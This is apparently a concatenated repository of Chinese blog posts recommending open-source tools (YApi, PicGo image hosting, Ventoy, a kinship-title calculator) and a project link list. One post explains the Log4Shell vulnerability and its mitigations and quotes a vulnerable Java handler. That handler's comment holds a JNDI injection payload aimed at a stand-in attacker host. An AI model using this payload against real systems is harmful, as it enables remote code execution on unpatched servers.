定义接口返回数据的结构和文档,效率提升多倍; 31 | - 扁平化权限设计,即保证了大型企业级项目的管理,又保证了易用性; 32 | - 类似 Postman 的接口调试; 33 | - 自动化测试, 支持对 Response 断言; 34 | - MockServer 除支持普通的随机 Mock 外,还增加了 Mock 期望功能,根据设置的请求过滤规则,返回期望数据; 35 | - 支持 Postman, Har, Swagger 数据导入; 36 | - 免费开源,内网部署,信息不用怕泄露。 37 | 38 | ### 如何一键生成 API 接口文档 39 | 40 | --- 41 | 42 | 现在同学们最常用的 IDE 应该就是 Intellij IDEA 了。因为 YApi 良好的开源性,吸引了很多开发者对它进行插件开发,这里我要介绍的插件就是 `YapiIdeaUploadPlugin`。 43 | 44 | 这个插件可以解析我们平时写的 Javadoc 注释,并自动上传到 YApi 生成 API 文档。也就是说,同学们**只需要正常写我们的注释,API 文档这件事就自动搞定了**,方便吧!! 45 | 46 | ```java 47 | /** 48 | * 添加或更新课程数据 49 | * 50 | * @param courseOpt 51 | * @return {@link CommonRes} 52 | */ 53 | @RequestMapping(value = "/test", method = RequestMethod.POST) 54 | public Course addOrUpdateCourse(@RequestBody CourseParam courseParam){ 55 | ... 56 | } 57 | ``` 58 | 59 | ```java 60 | class Course { 61 | /** 62 | * 主键 63 | */ 64 | private String id; 65 | /** 66 | * 名称 67 | */ 68 | private String name; 69 | } 70 | 71 | class CourseParam { 72 | /** 73 | * 名称 74 | */ 75 | private String name; 76 | } 77 | ``` 78 | 最终自动生成该接口文档: 79 | ![](https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/2021-12/yapi04.png) 80 | 81 | ### 小结 82 | 83 | --- 84 | 85 | 小妹这次的分享对于文档苦手来说是一个大大的福音,YApi 能够规范的管理各个项目的接口文档,同时还提供 Mock 数据等实用的功能。 86 | 87 | 然后再配合 `YapiIdeaUploadPlugin` 这个插件,能够 **0 成本**的自动生成 API 文档,这能省出多少个加班的夜晚呀! 88 | 89 | 感兴趣的小伙伴赶快来试试吧!只要在公众号后台回复「`yapi`」,既可获取开源项目和插件的地址(^▽^) 啦,快行动起来吧 **ヾ(≧▽≦*)o** 90 | -------------------------------------------------------------------------------- /contents/2021_12_07_大风起兮云飞扬,看我这床强不强!.md: -------------------------------------------------------------------------------- 1 | # 大风起兮云飞扬,看我这床强不强! 2 | 3 | 大家好,我是爱撸码的开源大叔。 4 | 5 | 今天给大家推荐一款床。什么床?嘿嘿,当然不是你想的那个床了,而是一款图片的存储媒介--**图床**。 6 | 7 | ## 是什么 8 | 9 | 那么,图床是什么呢?先给你来一段官方解释: 10 | 11 | 图床一般是指**储存图片的服务器**,有国内和国外之分。国外的图床由于有空间距离等因素决定访问速度很慢影响图片显示速度。有了图床我们可以更方便的管理图片。目前比较常见的图床有 SM.MS 图床,GitHub 图床,七牛云图床和码云图床等。 12 | 13 | 大叔给你来个总结:图床就是一款**在线相册**,方便你分类管理图片。 14 | 15 | 今天主要介绍的是使用**码云+ PicGo** 开源软件实现的图床解决方案。 16 | 17 | ## 为什么用 PicGo + 码云 18 | 19 | 首先来看看其他方案的缺点: 20 | 21 | GitHub 做为图床最大的缺点就是速度太慢,非常影响我们的使用体验。不过之前开源小妹给大家推荐过一款 GitHub 加速软件,大家可以后台回复 **「加速」** 来获取一下,大叔我这里主要介绍图床,就不赘述啦。 22 | 23 | 七牛云做为图床最大的缺点是只有一个月的试用期,后边收费风险较大,还有可能会有电话骚扰的风险(亲测)。 24 | 25 | 码云则具有**免费+速度快**的两个优点,因此选择了使用**码云**做为图床的存储媒介。 26 | 27 | ## 准备工作 28 | 29 | 1. 注册码云。 30 | 31 | 2. 下载PicGo,后台回复关键字 **「图床」** 获得下载地址,提供了 GitHub 和网盘两种下载方式。 32 | 33 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009152037.png) 34 | 35 | ## 创建仓库 36 | 37 | ### **第一步:注册账号** 38 | 39 | 首先注册码云账号(已有可忽略),注册过程不再赘述。 40 | 41 | ### **第二步:创建仓库** 42 | 43 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211202165233.png) 44 | 45 | ### **第三步:获取私人令牌** 46 | 47 | 私人令牌接下来配置 PicGo 的时候使用,**令牌只能显示一次,不要忘记复制** 48 | 49 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009152818215.png) 50 | 51 | 生成私人令牌(**一定不要忘记复制**) 52 | 53 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/aHR0cHM6Ly91cGxvYWQtaW1hZ2VzLmppYW5zaHUuaW8vdXBsb2FkX2ltYWdlcy8xODYxMDk1OS1hOGY3MTIzZjljMTRlNjc0LnBuZw.png) 54 | 55 | ## 安装配置 PicGo 56 | 57 | ### **第一步:安装** 58 | 59 | 软件为 exe 格式,选择好安装目录直接安装即可。 60 | 61 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009153222.png) 62 | 63 | ### **第二步:插件设置** 64 | 65 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009153327912.png) 66 | 67 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009155006.png) 68 | 69 | ### **第三步:图床设置** 70 | 71 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009153644676.png) 72 | 73 | ### **第四步:上传图片** 74 | 75 | 上述配置完成之后即可上传图片进行测试 76 | 77 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/image-20211009154202395.png) 78 | 79 | 上传成功之后可在码云上查看 80 | 81 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009164219.png) 82 | 83 | 也可以在 PicGo 上查看 84 | 85 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211009164301.png) 86 | 87 | 点击左下角图标可直接复制,非常方便。 88 | 89 | 当连接格式选择 Markdown 时,复制的格式是这样的,可直接使用,非常方便。 90 | 91 | ``` 92 | ![](https://gitee.com/xxx/draw-bed/raw/master/imgs/20211009164301.png) 93 | ``` 94 | 95 | 至此,码云 + PicGo 的图床方案就已完成。 96 | 97 | ## 小结 98 | 99 | 像 GitHub,码云这种免费的优质资源我们一定要充分利用起来,再加上 PicGo 这个好用的开源软件,一个完美的图床解决方案就这样实现了,如果你正在寻找它的话,赶快后台回复**「图床」**来获得下载地址吧~ 100 | 101 | 最后还是要说一句:**大风起兮云飞扬,看我这床强不强!** 102 | 103 | 104 | 105 | 问君能有几多愁,开源项目解千愁,我们下期再见! 106 | 107 | 大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢! 108 | -------------------------------------------------------------------------------- /contents/2021_12_11_见证历史了.md: -------------------------------------------------------------------------------- 1 | 2 | 大家好,我是爱撸码的开源大叔! 3 | 4 | 最近这两天 log4j2 的事情闹得是沸沸扬扬的,本来大叔我是两耳不闻窗外事,一心只敲圣贤码的,谁知,公司研发群的一则通知打破了本来的宁静。 5 | 6 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211211185509.png) 7 | 8 | 这个时候,我才意识到了问题的严重性,然后我就去各大程序员社区(知乎、CSDN、开源中国等)搜了一下,果然,这件事被大家讨论的沸沸扬扬。 9 | 10 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211211190318.png) 11 | 12 | 大叔并没有着急整理这篇文章,而是**让子弹飞一会**。 13 | 14 | ## 漏洞介绍 15 | 16 | ### Apache Log4j2 17 | 18 | Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。 19 | 20 | ### 漏洞原因 21 | 22 | 本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:**当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码**。 23 | 24 | **那么什么是 JNDI 呢?** 25 | 26 | > Java命名和目录接口(Java Naming and Directory Interface,缩写 JNDI),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。 27 | 28 | 利用下面这段代码,攻击者可以通过 JNDI 来执行 LDAP 协议来注入一些非法的可执行代码。 29 | 30 | ```java 31 | public class VulnerableLog4jExampleHandler implements HttpHandler { 32 | static Logger log = Logger.getLogger(log4jExample.class.getName()); 33 | /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * * This is basically pseudo-code to explain the vulnerability, and not a full example. * * @param he HTTP Request Object */ 34 | public void handle(HttpExchange he) throws IOException { 35 | String userAgent = he.getRequestHeader("user-agent"); 36 | // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header. 37 | // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a} log.info("Request User Agent:" + userAgent); 38 | String response = "Hello There, " + userAgent + "!"; 39 | he.sendResponseHeaders(200, response.length()); 40 | OutputStream os = he.getResponseBody(); 41 | os.write(response.getBytes()); 42 | os.close(); 43 | } 44 | } 45 | ``` 46 | 47 | 感兴趣的小伙伴可以后台回复 [见证历史] 获得具体攻击手段,在本地尝试复现一下,**但是千万不要不当利用哦!** 48 | 49 | ### 影响范围 50 | 51 | **Apache Log4j 2.x <= 2.15.0-rc1(据悉,官方rc1补丁有被绕过的风险)** 52 | 53 | ## 解决方式 54 | 55 | 当问题爆出来之后,大家都在积极修复该漏洞。 56 | 57 | ### 临时性缓解措施(任选一种) 58 | 59 | - 在 jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true 60 | - 系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true 61 | - 建议 JDK 使用 11.0.1、8u191、7u201、6u211 及以上的高版本 62 | - 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true” 63 | - 限制受影响应用对外访问互联网 64 | - WAF 添加漏洞攻击代码临时拦截规则。 65 | 66 | ### 永久性解决方案 67 | 68 | 截止目前,Log4j2 官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞,大家可以升级到该版本来解决该漏洞。 69 | 70 | ## 八仙过海,各显神通 71 | 72 | 当问题出现之后,最重要的是先解决问题,咱国内的互联网大厂那可是一刻也没有松懈,全都迅速响应,拿出了自己的解决方案。 73 | 74 | ### 美团 75 | 76 | org.apache.logging.log4j:log4j-core 在 2.10.0 以上增加了不启用 lookup 的配置项,但是默认关闭,官方暂无提供默认开启的正式版本。 77 | 78 | 美团日志框架(xmd-log4j2)封装了 log4j2,在 1.4.1 将开关默认打开,防御上面的攻击场景。 79 | 80 | 美团内大部分业务使用 xmd-log4j2 , xmd-log4j2 会引入 log4j2,故使用 com.meituan.inf:xmd-log4j2 引入的 org.apache.logging.log4j:log4j-core,需升级com.meituan.inf:xmd-log4j2 到最新版本(1.4.1)完成修复。注:切勿使用 xmd-log4j2 2.0.0-Snapshot 包,这不是修复包。 81 | 82 | 通过 maven 配置更新 xmd-log4j2,使用最新版本(1.4.1),或使用 inf-bom 1.4.14.1。 83 | 84 | ### 阿里 85 | 86 | 使用了 rasp,加了拦截策略。原理算是字节码增强,通过配置的规则,检测到了攻击就进行上报,或者直接抛出异常。这算是个防御手段,按照阿里人的说法,目前是止血。 87 | 88 | ### 字节 89 | 90 | 安全部门将对公司全部 Java 服务进行组件扫描与升级,禁止低版本 Log4j 组件在线上运行。 91 | 92 | 同时,我们也将开启针对低版本、高风险组件(Log4j2 和 FastJSON)的安全卡点。 93 | 94 | ### 百度 95 | 96 | 百度的我还没找到他们的解决方式,但是我偷偷的试了一下,确实已经解决了 97 | 98 | ![](https://gitee.com/dmg0020/draw-bed/raw/master/imgs/20211211203800.png) 99 | 100 | 101 | 102 | 103 | 104 | ## 思考 105 | 106 | 我们是历史的经历者,也是历史的见证者,当出现这样足以被载入史册的重大事件之后,我们在“吃瓜”之余,也要有一些自己的思考。 107 | 108 | 不仅仅是 Apache Log4j 2 组件,而是只要有数据和代码未曾分离的地方,全都是注入攻击的可寻之地。 109 | 110 | 因此我们在平时写代码的时候要严防各种注入,最常见的应该就是 SQL 注入了。 111 | 112 | 但是,我们也不要因噎废食,弃之不用。攻击检测和漏洞修复的工作,有很多研究机构和安全公司都在进行。历史是螺旋上升的,安全也是,前进性、曲折性和周期性不可避免。 113 | 114 | > 王坚博士曾说:安全是互联网公司的生命,也是每一位网民的最基本需求。 115 | 116 | 最后我们为大家准备了由阿里知名白帽子道哥编写的《白帽子讲 Web 安全》,毕竟知己知彼百战百胜,感兴趣的朋友可以公众号回复【见证历史】获取~ 117 | 118 | 119 | 120 | 121 | 122 | ​ 123 | 124 | -------------------------------------------------------------------------------- /contents/2021_12_13_呀,系统坏了,咋办?.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 呀,系统坏了,咋办? 3 | date: 2021-12-13 18:51:44 4 | tags: 奔跑的阿白 5 | --- 6 | 大家好,我是可爱又机灵的开源小妹。 7 | 上周家里电脑坏了,尝试用了很多U盘启动盘制作工具,很多都有绑定插件,很是烦恼。跑去找开源大叔寻求帮助。哎,在大叔的指导下,找到了一款神器 - Ventoy。 8 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121942767.gif) 9 | 10 | ## 简介 11 | 简单来说,Ventoy是一个制作可启动U盘的开源工具。 12 | 有了Ventoy你就无需反复地格式化U盘,你只需要把 ISO/WIM/IMG/VHD(x)/EFI 等类型的文件直接拷贝到U盘里面就可以启动了,无需其他操作。 13 | ## 使用方法 14 | 1. 从开源项目 Release 中下载最新的安装包 15 | ``` 16 | ventoy-1.0.62-windows.zip 17 | ``` 18 | 2. 解压,双击 Ventoy2Disk.exe 19 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121941765.png) 20 | 3. 选择要安装的U盘,点击安装或升级 21 | 4. 安装完成,将系统镜像拷贝到U盘中,即可正常使用了。 22 | 23 | ## Ventoy 五大的优势 24 | ### 免费开源 25 | 最糟心的就是不知道软件提供方给我们捆绑了啥东西,而Ventoy是一个制作可启动U盘的开源工具,完全免费,源码可查,可放心使用。 26 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121941243.png) 27 | ### 兼容性好 28 | 支持包括 Windows 10、Windows 8.1、Windows 7、WinPE 系统以及 Ubuntu 等多种 Linux 发行版。 29 | Vetony 是一款启动盘制作工具,而非 PE 系统,所以它可以把 PE 系统装载到U盘中哦。 30 | 而且无差别支持 Legacy BIOS 和 UEFI 模式,无论你的电脑主板使用什么模式 Ventoy 都可以自动检测识别。 31 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202112/202112121939634.png) 32 | ### 无需格盘 33 | 该工具可以直接安装到U盘上且不需要将其他镜像刻录U盘,用户需要做的仅仅是将ISO复制到U盘中。 34 | 传统的刻录方式需要对U盘进行格式化,而采用Vetony则无需格式化。 35 | ### 支持大文件 36 | 该工具也支持将超过4GB的镜像文件复制到U盘,这点很重要因为 Windows 10 镜像文件已超过4GB。 37 | ### 其他 38 | 可并存多个操作系统镜像无需每次使用重新格盘刻录、启动过程中支持写保护、版本升级不丢失数据。 39 | 40 | ## 小结 41 | 支持多系统镜像,一个U盘走天下!大家觉得怎么样,这款系统启动盘制作工具是不是很好用,没有广告,没有捆绑软件的良心之作啊。 42 | 43 | 好啦,今天小妹的分享就到这里了,在公众号后台回复「U盘」即可获取项目源码地址。看完文章后,趁着搬砖摸鱼之时,赶快试试吧。 44 | 45 | 问君能有几多愁,开源项目解千愁,我们下期再见! 46 | 47 | 48 | -------------------------------------------------------------------------------- /contents/2022-01-27-过年神器,避免偶遇,只能尴尬一笑~~.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 过年神器,避免偶遇,只能尴尬一笑~~ 3 | date: 2022-01-27 21:29:44 4 | tags: 奔跑的阿白 5 | --- 6 | 大家好呀,我是机灵的开源小妹。 7 | 8 | 快过年了,心里想着回家可开心了。但回想起去年的尴尬时刻,回去见到一些不常见的亲戚,一时间不知道叫啥,只能嘿嘿一笑。 9 | 那可咋办呀,网上找了找,发现一款开源神器,完美解决这个问题。那就是"中国家庭称谓计算器"。 10 | 11 | ## 简介 12 | “中国家庭称谓计算器”为你避免了见到人不知道叫啥的尴尬,只需简单的输入即可算出称谓。 13 | ## 使用方法 14 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/202201/202201272132410.gif) 15 | 16 | 17 | ## 安装部署 18 | ### 下载 & 安装 19 | 该 Javascript 库 / 模块可以用于前端也可以用于后端 Nodejs 中。 20 | 21 | 直接下载dist/relationship.min.js,然后使用 script 标签引入,可以得到全局的方法 relationship. 22 | 23 | 使用 npm 进行包管理,具体为: 24 | ``` 25 | npm install relationship.js 26 | ``` 27 | 然后使用 require 引入模块 28 | ``` 29 | var relationship = require("relationship.js"); 30 | ``` 31 | ### 使用 32 | 1. 内部属性:获取当前数据量 relationship.dataCount. 33 | 2. 内部方法:用户自定义模式 relationship.setMode(mode_name,mode_data). 34 | 代码示例: 35 | ``` 36 | // 关系解析语法 37 | // 【关系链】f:父,m:母,h:夫,w:妻,s:子,d:女,xb:兄弟,ob:兄,lb:弟,xs:姐妹,os:姐,ls:妹 38 | // 【修饰符】 1:男性,0:女性,&o:年长,&l:年幼,#:隔断,[a|b]:并列 39 | relationship.setMode('northern',{ 40 | 'm,f':['姥爷'], 41 | 'm,m':['姥姥'], 42 | 'm,xb,s&o':['表哥'], 43 | 'm,xb,s&l':['表弟'], 44 | }); 45 | ``` 46 | 3. 通用方法: 唯一的计算方法 relationship(options). 47 | 参数options结构为: 48 | ``` 49 | var options = { 50 | text:'', //输入文本(称谓的汉字表达,称谓间用‘的’字分隔) 51 | target:'', //针对对象:空表示自己 52 | sex:-1, //自己的性别:0女性,1男性 53 | type:'default', //转换类型:'default'算称谓,'chain'算关系 54 | reverse:false, //称呼方式:true对方称呼我,false我称呼对方 55 | mode:'default' //模式选择,可由用户自定义 56 | }; 57 | ``` 58 | 代码示例: 59 | ``` 60 | // 如:我应该叫外婆的哥哥什么? 61 | relationship({text:'妈妈的妈妈的哥哥'}); 62 | 63 | // 如:七舅姥爷应该叫我什么? 64 | relationship({text:'七舅姥爷','reverse':true,'sex':1}); 65 | 66 | // 如:舅公和我是什么关系? 67 | relationship({text:'舅公',sex:0,type:'chain'}); 68 | 69 | // 如:舅妈如何称呼外婆? 70 | relationship({text:'外婆',target:'舅妈',sex:1}); 71 | ``` 72 | ## 小结 73 | 由于工作生活节奏不同,如今很多关系稍疏远的亲戚之间来往并不多。过年偶尔碰上也是挺尴尬的,过年用上这款神器偷偷查下,遇见再也不用那么尴尬的嘿嘿两声了~~ 74 | 75 | 感兴趣的小伙伴赶快在公众号后台回复「关系」来获取这款神器的访问方法及开源项目地址吧! -------------------------------------------------------------------------------- /files/Netty.emmx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ourceteams/open-daily/5d35020dde9e54a187ee84bea2c1de2f10d90fcd/files/Netty.emmx -------------------------------------------------------------------------------- /opensourceproject/projectList.md: -------------------------------------------------------------------------------- 1 | # 开源项目地址列表 2 | 3 | 「开源小分队」 公众号文章推荐项目地址 4 | 5 | 关注公众号:「开源小分队」 回复 `小分队`,获取最新最酷的开源项目。 6 | 7 | ![](https://gitee.com/sourceteam/blog-source/raw/master/images/logo/202203032101383.jpg) 8 | 9 | ## 按文章标题进行查找 10 | 11 | [再有面试官问你这个问题,就请用这个项目吊打他吧!](https://github.com/skyline75489/what-happens-when-zh_CN) 12 | 13 | [这款 30k Star 的视频播放器,也太好用了吧!](https://github.com/iina/iina) 14 | 15 | [再见了 Typora !快来试试这款 6k+的开源 Markdown 编辑器!!](https://github.com/Saul-Mirone/milkdown) 16 | 17 | [YYDS!拥有十八般武艺的开源任务管理系统,不容错过!](https://github.com/kuaifan/dootask) 18 | 19 | [10K+ Star!堪称开发者瑞士宝箱的开源工具,YYDS!](https://github.com/veler/DevToys) 20 | 21 | [太硬核了!GitHub 爆火的开源项目,优秀 !](https://github.com/geekan/HowToLiveLonger) 22 | 23 | [一款小巧好用的性能监控软件](https://github.com/zhongyang219/TrafficMonitor) 24 | 25 | [再见 Navicat !这个工具才是 YYDS!](https://github.com/beekeeper-studio/beekeeper-studio) 26 | 27 | [推荐一个超级好看的开源的后台管理框架](https://github.com/HalseySpicy/Geeker-Admin) 28 | 29 | [终于找到这个文件搜索神器了](https://github.com/sharkdp/fd) 30 | 31 | [这款良心安全的开源笔记真香](https://github.com/leanote/leanote) 32 | 33 | [拳打 xxl-job,脚踢 LTS,这就是开源界最强分布式调度框架?](https://github.com/PowerJob/PowerJob) 34 | 35 | [给大家分享一个有颜色的开源项目,小孩子不要点进来哦](https://github.com/zerosoul/chinese-colors) 36 | 37 | [重磅推荐!12.2K 标星的免费接口合集,API 的搬运工,开发者的福利](https://github.com/fangzesheng/free-api) 38 | 39 | [看看这个物联网系统,那叫一个优雅!](https://gitee.com/mqttsnet/thinglinks) 40 | 41 | [全能的免费工具推荐!!吊打 IDM 和迅雷?](https://github.com/agalwood/Motrix) 42 | 43 | [终于找到 B 站这个工具了,真香!](https://github.com/vooidzero/B23Downloader) 44 | 45 | [不会 PS 也没关系!一键生成精美的 GitHub 推广图!!](https://github.com/wei/socialify) 46 | 47 | [翻译软件之最,牛到不行!!](https://github.com/biyidev/biyi) 48 | 49 | [推荐一款低代码开源项目,YYDS!!](https://github.com/wangyuan389/mall-cook) 50 | 51 | [再…再摸,我就不客气了!](https://github.com/OBKoro1/stop-mess-around) 52 | 53 | [程序员用 Markdown 写 ppt,真是太绝了!](https://github.com/slidevjs/slidev) 54 | 55 | 有了它,你也可以成为中华小当家!([隔离食用手册](https://github.com/YunYouJun/cook)、[程序员做饭指南](https://github.com/Anduin2017/HowToCook)) 56 | 57 | [给女朋友做了个视频播放器](https://github.com/sampotts/plyr) 58 | 59 | [AI 帮我写代码,程序员真的要失业了?](https://github.com/github/copilot-docs) 60 | 61 | [动动手指就能搭建系统的低代码引擎](https://github.com/alibaba/lowcode-engine) 62 | 63 | [一站式持续测试平台,打造你的 DevOps 流程](https://github.com/metersphere/metersphere) 64 | 65 | [一键快速优雅保存网页,优秀!](https://github.com/gildas-lormeau/SingleFile) 66 | 67 | [P 站上不了?没事,自己动手搞一个](https://github.com/bestony/logoly)([在线网站](https://www.logoly.pro/#/)) 68 | 69 | [轻松抓住内容关键字!](https://github.com/amueller/word_cloud) 70 | 71 | [看小说能写操作系统内核?](https://github.com/sunym1993/flash-linux0.11-talk) 72 | 73 | [一个插件,搞定多平台发布](https://github.com/wechatsync/Wechatsync) 74 | 75 | [纳尼?这么麻烦的逻辑一个注解就搞定了?](https://github.com/spring-projects/spring-retry) 76 | 77 | [在浏览器中操作 Excel,这款完全开源的在线表格推荐给你!](https://github.com/mengshukeji/Luckysheet) 78 | 79 | [不闹,这个真的很重要!](https://github.com/s-unscrupulous/idea_seat) 80 | 81 | [安全在线简历生成器,不试试吗?](https://github.com/visiky/resume) 82 | 83 | [自建视频会议系统,好使?](https://github.com/fmeringdal/nettu-meet) 84 | 85 | [前端超好用的 WebSocket 工具!](https://github.com/joewalnes/reconnecting-websocket) 86 | 87 | [对不起,我又怀旧了。。。](https://github.com/jynew/jynew) 88 | 89 | [还在苦恼 Jenkins 的配置?这款 1W 星的持续交付产品推荐给你!](https://github.com/koderover/zadig) 90 | 91 | [多样化生成二维码!](https://github.com/x-hw/amazing-qr) 92 | 93 | [使用这个项目,108w 奖金有戏了!](https://github.com/wb14123/seq2seq-couplet)([官方 demo](https://ai.binwang.me/couplet/)) 94 | 95 | [自从有了这项目,斗图我就没输过!](https://github.com/zhaoolee/ChineseBQB)([官网](https://www.v2fy.com/p/000readme-chinesebqb/) [表情包搜索](https://www.v2fy.com/asset/0i/ChineseBQB/)) 96 | 97 | [Windows 复制粘贴太拉垮?这款剪贴板利器太香了!](https://github.com/hluk/CopyQ) 98 | 99 | [面试官:还在使用 word 写简历?](https://github.com/geekcompany/ResumeSample) 100 | 101 | [听说在这里可以重开人生?](https://github.com/VickScarlet/lifeRestart) 102 | 103 | [谁是最好用的 Redis 客户端?](https://github.com/qishibo/AnotherRedisDesktopManager) 104 | 105 | [变量命名也有专门的网站。。。孤陋寡闻了](https://github.com/unbug/codelf) 106 | 107 | [你不会不想有一个自己的 B 站吧?](https://github.com/lybenson/bilibili-vue) 108 | 109 | [还在苦恼 Jenkins 的配置?这款 1W 星的持续交付产品推荐给你!](https://github.com/koderover/zadig) 110 | 111 | # 往期项目推荐 112 | 113 | [推荐文章汇总](https://github.com/ourceteams/open-daily) 114 | -------------------------------------------------------------------------------- /resources/PicGo-Setup-2.3.0-x64.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ourceteams/open-daily/5d35020dde9e54a187ee84bea2c1de2f10d90fcd/resources/PicGo-Setup-2.3.0-x64.exe -------------------------------------------------------------------------------- /we_logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ourceteams/open-daily/5d35020dde9e54a187ee84bea2c1de2f10d90fcd/we_logo.jpg --------------------------------------------------------------------------------